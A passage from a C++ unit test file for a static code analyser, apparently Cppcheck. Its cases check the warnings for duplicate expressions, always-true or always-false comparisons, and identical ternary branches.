[duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n 